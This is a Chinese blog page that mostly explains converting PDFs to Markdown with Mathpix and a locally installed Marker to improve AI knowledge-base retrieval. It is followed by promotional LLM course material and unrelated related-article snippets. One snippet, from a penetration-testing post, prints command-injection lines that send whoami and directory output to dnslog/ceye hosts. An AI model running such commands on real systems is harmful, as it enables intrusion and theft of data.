当前位置: 首页 > news >正文

【实战指南】从提升AI知识库效果,从PDF转Markdown开始

经常有人抱怨AI知识库精确度不够、答非所问。我有时候想想,会觉得其实AI也挺冤的,因为很有可能不是它能力不行,而是你一开始给的文档就有问题,导致它提取文本有错误、不完整,那后边一连串的检索、生成怎么可能好呢?

比如最常见的PDF格式,我们阅读起来是没啥难度,但大模型要提取文本就遭罪了。

第一,PDF的结构很复杂,有文本、有图像、有表格,还有字体和布局信息。大模型很难理清楚这些结构,自然也就不好从中提取出文本来。

第二,不同PDF可能使用不同的字符编码,这会导致文本解析错误。

第三,即使成功提取出文本,也可能丢失段落、标题这些很重要的信息,造成对内容的理解出现差错。

所以,要提升AI知识库的效果,先把PDF转换成方便大模型提取文本的格式。本期视频我介绍两个工具。一个是Mathpix,现成的产品,我在newtype社群里推荐过。另一个是Marker,更早之前我也在社群内推荐过。正好有小伙伴问具体怎么部署,我一会儿就具体讲讲。

先来看Mathpix。

这款产品桌面端和移动端都有。我用的是网页版。它支持上传PDF和图片。PDF的话,一般是论文;图片的话,一般是手写的笔记或者老师的板书。导入资料后,它会进行识别,然后要么存在软件里作为一条笔记、多端同步,要么导出成Markdown、Word等格式。

作为测试,我这边上传一篇大概8页的论文,它里边包含了PDF最常见的复杂格式。大概几秒钟,Mathpix就处理完成了。然后选择导出Markdown,就能得到一个md格式的文件。

把它放到Obsidian里,可以看到,转换效果挺不错的:原本分成左右两栏的内容,它都给归到一栏里;小标题、分段、表格什么的都在。

我之所以选择Obsidian是因为,它的笔记本来就是md格式,并且Copilot这款AI插件有RAG功能。现在有了PDF转Markdown的工具,以后我对论文的阅读、消化还有记笔记就可以在一个软件里搞定了。

如果你是STEM学生或者科研工作者,肯定会爱死Mathpix——一键OCR就可以输出LaTeX公式太方便了。如果你有大量PDF文档想喂给大模型作为参考资料,也可以考虑订阅,一个月不到5美金。

多说两句,我个人很喜欢Mathpix创始人的思路。他提出一个概念叫Micro-SaaS,意思是,从一个细小且集中的用户痛点切入,提供极度专业化的产品和功能。这种专注利基市场的打法,很适合今天这个AI时代。

OK,Mathpix是最省心的解决方案。当然,如果你不想花这点钱的话,也行,那就本地部署Marker来转换。

Marker是我在GitHub上找到的一个项目,人气挺高的。它同样是把PDF转成Markdown,支持多语种,可以把公式转成LateX,可以把图片也一并提取出来,支持GPU、CPU。

要部署很容易,还是那句话:有手就行。

第一步,老规矩,创建环境然后激活,这个就不用我介绍了。

第二步,安装PyTorch。大家可以去官网根据自己的情况做选择,然后通过特定的命令去下载、安装。如果没安装CUDA,那就先去老黄那边下一个。

第三步,安装Marker。pip install就可以。

这三步完成后,就可以开始使用了。

根据GitHub上的指导,我们需要通过一行命令来运行。这行命令分为四个部分:

第一部分,也就是命令的开头,告诉机器你是要转一个文档还是多个文档。如果是一个的话,就用marker single。

第二部分,告诉机器,需要转换的文档存在哪里,也就是文件地址。

第三部分,告诉机器,转换完之后,该把文档存到哪里。

第四部分是一些参数配置,比如默认batch是2个,需要消耗大约3G的显存。这个数值设得越高,需要的显存越多,转换速度也就越快。

理解这行命令的意思,每次使用就非常简单了。如果你的文件夹一直不变,其实就改一下文件名就好。

作为演示,我还是用刚才那个论文,咱们可以对比一下效果。

运行命令,就能看到每一步的进度条。大家注意看这边:Marker会先做检查,然后找到reading order阅读顺序,最后把md文件存到指定文件夹内。除了正文,论文里的表格都单独提取出来了。

我用VS Code预览一下成品。可以看到,效果还不错。

不过,官方也强调了,他们并不能做到100%成功提取公式、表格,因为PDF这个东西太复杂、太奇怪了,没法打保票。所以转换完成之后,建议大家还是快速看一眼、检查一遍。

如果要转换多个文档也是同样思路,用命令设置存放的位置和输出的位置,可以把整个文件夹里的PDF全都转换了。我这边就不演示了,大家试一次就全明白了。

随着大模型的持续爆火,各行各业都在开发搭建属于自己企业的私有化大模型,那么势必会需要大量大模型人才,同时也会带来大批量的岗位?“雷军曾说过:站在风口,猪都能飞起来”可以说现在大模型就是当下风口,是一个可以改变自身的机会,就看我们能不能抓住了。

那么,我们该如何学习大模型?

作为一名热心肠的互联网老兵,我决定把宝贵的AI知识分享给大家。 至于能学习到多少就看你的学习毅力和能力了 。我已将重要的AI大模型资料包括AI大模型入门学习思维导图、精品AI大模型学习书籍手册、视频教程、实战学习等录播视频免费分享出来。

一、大模型全套的学习路线

学习大型人工智能模型,如GPT-3、BERT或任何其他先进的神经网络模型,需要系统的方法和持续的努力。既然要系统的学习大模型,那么学习路线是必不可少的,下面的这份路线能帮助你快速梳理知识,形成自己的体系。

L1级别:AI大模型时代的华丽登场

L2级别:AI大模型API应用开发工程

L3级别:大模型应用架构进阶实践

L4级别:大模型微调与私有化部署

一般掌握到第四个级别,市场上大多数岗位都是可以胜任,但要还不是天花板,天花板级别要求更加严格,对于算法和实战是非常苛刻的。建议普通人掌握到L4级别即可。

以上的AI大模型学习路线,不知道为什么发出来就有点糊,高清版可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费

二、640套AI大模型报告合集

这套包含640份报告的合集,涵盖了AI大模型的理论研究、技术实现、行业应用等多个方面。无论您是科研人员、工程师,还是对AI大模型感兴趣的爱好者,这套报告合集都将为您提供宝贵的信息和启示。

img

三、大模型经典PDF籍

随着人工智能技术的飞速发展,AI大模型已经成为了当今科技领域的一大热点。这些大型预训练模型,如GPT-3、BERT、XLNet等,以其强大的语言理解和生成能力,正在改变我们对人工智能的认识。 那以下这些PDF籍就是非常不错的学习资源。

img

四、AI大模型商业化落地方案

img

以上的AI大模型学习资料,都已上传至CSDN,需要的小伙伴可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费

作为普通人,入局大模型时代需要持续学习和实践,不断提高自己的技能和认知水平,同时也需要有责任感和伦理意识,为人工智能的健康发展贡献力量。

相关文章:

【实战指南】从提升AI知识库效果,从PDF转Markdown开始

经常有人抱怨AI知识库精确度不够、答非所问。我有时候想想,会觉得其实AI也挺冤的,因为很有可能不是它能力不行,而是你一开始给的文档就有问题,导致它提取文本有错误、不完整,那后边一连串的检索、生成怎么可能好呢&…...

Android 删除telephony的features

比如删除android.hardware.telephony.subscription 找到这个文件&#xff1a;frameworks/native/data/etc/android.hardware.telephony.subscription.xml <!-- This is the standard set of features for devices to support Telephony Subscription API. --> -<perm…...

Linux驱动开发—编写第一个最简单的驱动模块

文章目录 开发驱动准备工作1.正常运行的Linux系统的开发板2.内核源码树3.nfs挂载的rootfs4.得心趁手的IDE 第一个Hello world 驱动程序常见模块的操作命令模块的初始化和清理模块的版本信息模块中的各种宏 示例Hello World代码printk函数解析 使用MakeFile编译驱动模块使用insm…...

科普文:微服务之Spring Cloud 组件API网关Gateway

API网关是一个服务器&#xff0c;是系统的唯一入口。从面向对象设计的角度看&#xff0c;它与外观模式类似。API网关封装了系统内部架构&#xff0c;为每个客户端提供一个定制的API。它可能还具有其它职责&#xff0c;如身份验证、监控、负载均衡、缓存、请求分片与管理、静态响…...

Kubernetes中的CRI、CNI与CSI:深入理解云原生存储、网络与容器运行时

引言 随着云原生技术的飞速发展&#xff0c;Kubernetes&#xff08;简称K8s&#xff09;作为云原生应用的核心调度平台&#xff0c;其重要性日益凸显。K8s通过开放一系列接口&#xff0c;实现了高度的可扩展性和灵活性&#xff0c;其中CRI&#xff08;Container Runtime Inter…...

【数据结构】二叉搜索树(Java + 链表实现)

Hi~&#xff01;这里是奋斗的明志&#xff0c;很荣幸您能阅读我的文章&#xff0c;诚请评论指点&#xff0c;欢迎欢迎 ~~ &#x1f331;&#x1f331;个人主页&#xff1a;奋斗的明志 &#x1f331;&#x1f331;所属专栏&#xff1a;数据结构、LeetCode专栏 &#x1f4da;本系…...

java Brotli压缩算法实现压缩、解压缩

在Java中实现Brotli压缩和解压缩&#xff0c;你可以使用org.brotlienc和org.brotlidec包中的类。以下是压缩和解压缩的基本步骤和示例代码&#xff1a; 压缩文件 创建FileInputStream以读取原始文件。创建BrotliOutputStream以写入压缩数据。读取原始文件并写入压缩流。关闭流…...

centos7.9 安装java相关组件

10.23.15.71 - 78 账户 admin IMES1 改为root再操作 $ sudo su root ($ su root) 下载包 /home/admin/download $ mkdir download $ chown -R admin:admin /home/admin/download 安装包 /data/local $ tar -sxvf jdk-11.0.23_linux-x64_bin.tar.gz -C /data/local $ mv jdk…...

在IntelliJ IDEA中,快速找到控制类(Controller类)中所有的方法,可以通过以下几种方式实现:

在IntelliJ IDEA中&#xff0c;快速找到控制类&#xff08;Controller类&#xff09;中所有的方法&#xff0c;可以通过以下几种方式实现&#xff1a; 1. 使用快捷键 Alt 7 操作说明&#xff1a;在IDEA中&#xff0c;按下Alt 7可以快速打开“Structure”窗口&#xff08;在…...

ChatGPT的强大之处:探究及与国内产品的对比

论文题目&#xff1a;ChatGPT的强大之处&#xff1a;探究及与国内产品的对比 摘要 ChatGPT作为一种广泛应用的人工智能语言模型&#xff0c;自发布以来迅速走红全球。本文旨在探讨ChatGPT是否真如其流行程度所示那般强大&#xff0c;并对比其与国内类似产品的优劣&#xff0c;深…...

MySql审计平台

安装方式&#xff1a; cookieY/Yearning: &#x1f433; A most popular sql audit platform for mysql (github.com) 对数据库的一系列后台操作 AI助手 - AI助手提供SQL优化建议&#xff0c;帮助用户优化SQL语句&#xff0c;以获得更好的性能。同时AI助手还提供文本到SQL的…...

深度学习6--深度神经网络

1.VGG网络 在图像分 类这个领域中&#xff0c;深度卷积网络一般由卷积模块和全连接模块组成。 (1)卷积模块包含卷积层、池化层、Dropout 层、激活函数等。普遍认为&#xff0c;卷积模块是对 图像特征的提取&#xff0c;并不是对图像进行分类。 (2)全连接模块跟在卷积模块之后&…...

有了Power BI还需要深入学习Excel图表制作吗?

Power BI和Excel都是微软公司的产品&#xff0c;但它们在数据分析和可视化方面有着不同的定位和功能。 Power BI是一个强大的商业分析工具&#xff0c;它提供了数据集成、数据建模、报告和仪表板的创建等功能。Power BI 特别适合处理大量数据&#xff0c;并且可以连接到多种数…...

WEB渗透Web突破篇-命令执行

命令执行 >curl http://0ox095.ceye.io/whoami >ping whoami.b182oj.ceye.io >ping %CD%.lfofz7.dnslog.cn & cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 &…...

【MYSQL】表操作

目录 查看当前数据库含有表查看表结构创建表插入&#xff08;新增create&#xff09;查询&#xff08;retrieve&#xff09;全列查询指定列查询查询列是表达式别名查询(as)去重查询(distinct)排序查询(order by)条件查询(where)比较/逻辑运算符使用 分页查询(limit) 一条语句各…...

破解USB设备通讯协议实现自定义软件控制的步骤与方法

在设备和计算机之间通过USB进行通讯的情况下&#xff0c;厂家提供的软件可以控制设备&#xff0c;但没有提供任何其他资料和支持&#xff0c;这种情况下&#xff0c;若希望自行开发软件来实现同样的功能&#xff0c;可以通过以下步骤破解通讯协议并开发自定义程序。 1. 捕获US…...

FFmpeg源码:av_init_packet、get_packet_defaults、av_packet_alloc函数分析

一、av_init_packet函数 av_init_packet函数定义在FFmpeg源码&#xff08;本文演示用的FFmpeg源码版本为7.0.1&#xff09;的源文件libavcodec/avpacket.c中&#xff1a; /*** Initialize optional fields of a packet with default values.** Note, this does not touch the…...

HarmonyOS应用开发知识地图

HarmonyOS 应用开发旅程 HarmonyOS 应用开发旅程 PS&#xff1a;Xmind原文件可以直接跳转官方具体文档地址&#xff0c;如需要原文件请联系&#xff1a;DYZZ198 01.准备与学习 学习 HarmonyOS 的基本概念和架构,搭建好所需的开发工具和环境,了解开发规范和最佳实践 了解 H…...

了解反向代理如何工作吗?

在当今数字化时代&#xff0c;网络通讯扮演着重要的角色&#xff0c;而代理技术为网络通讯提供了更多的灵活性和安全性。作为两种重要的代理技术&#xff0c;代理服务器和反向代理的运行原理和用途各有不同。本文将重点介绍反向代理的运行原理&#xff0c;深入探讨其在网络通讯…...

ASCII码对照表

常用 ASCII 码详细对照表 &#xff08;0—255&#xff09; 第 0&#xff5e;32 号及第 127 号(共 34 个)是控制字符或通讯专用字符&#xff0c;如控制符&#xff1a;LF &#xff08;换行&#xff09;、CR&#xff08;回车&#xff09;、FF&#xff08;换页&#xff09;、DEL&am…...

GraphRAG硬核实战:打造企业“数字老师傅”

技术隐喻警示&#xff1a;如果你还在用传统的向量数据库试图解决企业级知识传承问题&#xff0c;这就像试图用“关键词搜索”去训练一个博士生——不仅力不从心&#xff0c;更是对算力的极度浪费。 在企业数字化转型的深水区&#xff0c;我们面临着一个极其残酷的**“默会知识”…...

Go Context 控制流与生命周期管理

Go Context 控制流与生命周期管理 在现代分布式系统中&#xff0c;控制流与生命周期管理是开发者必须面对的核心挑战之一。Go语言通过context包提供了一种优雅的解决方案&#xff0c;帮助开发者管理请求的取消、超时和跨协程的数据传递。无论是微服务调用、数据库查询还是HTTP…...

从YOLOv8到SpikeYOLO:在边缘设备上部署脉冲神经网络目标检测的完整实践指南

从YOLOv8到SpikeYOLO&#xff1a;边缘设备超低功耗目标检测实战手册 在无人机巡检、智能安防摄像头和可穿戴设备等边缘计算场景中&#xff0c;持续运行的目标检测系统常受限于电池容量与散热条件。传统卷积神经网络&#xff08;CNN&#xff09;如YOLOv8虽能实现实时检测&#x…...

嵌入式OTA升级技术详解与实现方案

1. 嵌入式OTA升级技术概述OTA&#xff08;Over-the-Air Technology&#xff09;技术在现代嵌入式系统中扮演着至关重要的角色。作为一名嵌入式开发工程师&#xff0c;我在多个物联网项目中都深度参与了OTA功能的实现与优化。简单来说&#xff0c;OTA升级就是通过无线通信方式&a…...

AITINKR_JSON_FIELDS:面向MCU的零碎片JSON字段管理库

1. AITINKR_JSON_FIELDS 库深度解析&#xff1a;面向资源受限 IoT 设备的动态 JSON 字段管理方案在嵌入式物联网设备开发中&#xff0c;JSON 已成为事实上的数据交换标准。从传感器数据上报、OTA 配置下发&#xff0c;到设备状态同步与远程控制指令解析&#xff0c;JSON 的轻量…...

Amadeus的知识库 | 告别碎片化集成:深度解析 AI 时代的“USB 协议” —— MCP

一、引文在 LLM&#xff08;大语言模型&#xff09;飞速发展的今天&#xff0c;我们正从“对话框 AI”转向“智能体&#xff08;Agent&#xff09;”。然而&#xff0c;开发者在集成 AI 时一直面临一个巨大的痛点&#xff1a;数据孤岛。为了解决这个问题&#xff0c;Anthropic …...

XUnity Auto Translator:Unity游戏翻译插件终极指南

XUnity Auto Translator&#xff1a;Unity游戏翻译插件终极指南 【免费下载链接】XUnity.AutoTranslator 项目地址: https://gitcode.com/gh_mirrors/xu/XUnity.AutoTranslator XUnity Auto Translator 是一款功能强大的Unity游戏自动翻译插件&#xff0c;能够为全球玩…...

【MATLAB源码-第410期】基于matlab的图像去雾系统设计—采用暗通道先验、颜色衰减与导向滤波融合。

操作环境&#xff1a;MATLAB 2024a1、算法描述基于MATLAB的图像去雾系统设计与实现 摘要 雾霾天气会显著削弱成像系统获取场景信息的能力&#xff0c;使图像出现对比度下降、颜色失真、边缘模糊及远景细节衰减等问题&#xff0c;从而影响目标检测、场景理解、智能监控与辅助驾驶…...

【Swagger】Swagger系统性知识体系全方位结构化总结

文章目录 Swagger一、基础认知与发展历程1.1 核心定义与本质区分1.2 核心发展历程 二、核心基石&#xff1a;OpenAPI 规范&#xff08;OAS&#xff09;2.1 主流版本核心差异2.2 OAS 3.x 核心文档结构2.3 核心语法能力 三、Swagger 官方核心工具生态四、主流开发模式与全链路落地…...

经典入门教程:Simulink二次调频AGC系统解析,含储能与火电机组应用

simulink二次调频AGC&#xff0c;含储能、火电机组。 经典两区域系统二次调频&#xff0c;适合初学者入门。电力系统二次调频就像给电网做瑜伽——既要保持平衡&#xff0c;又要灵活应对突发状况。今天咱们用Simulink撸个带储能的两区域AGC模型&#xff0c;手把手感受火力发电机…...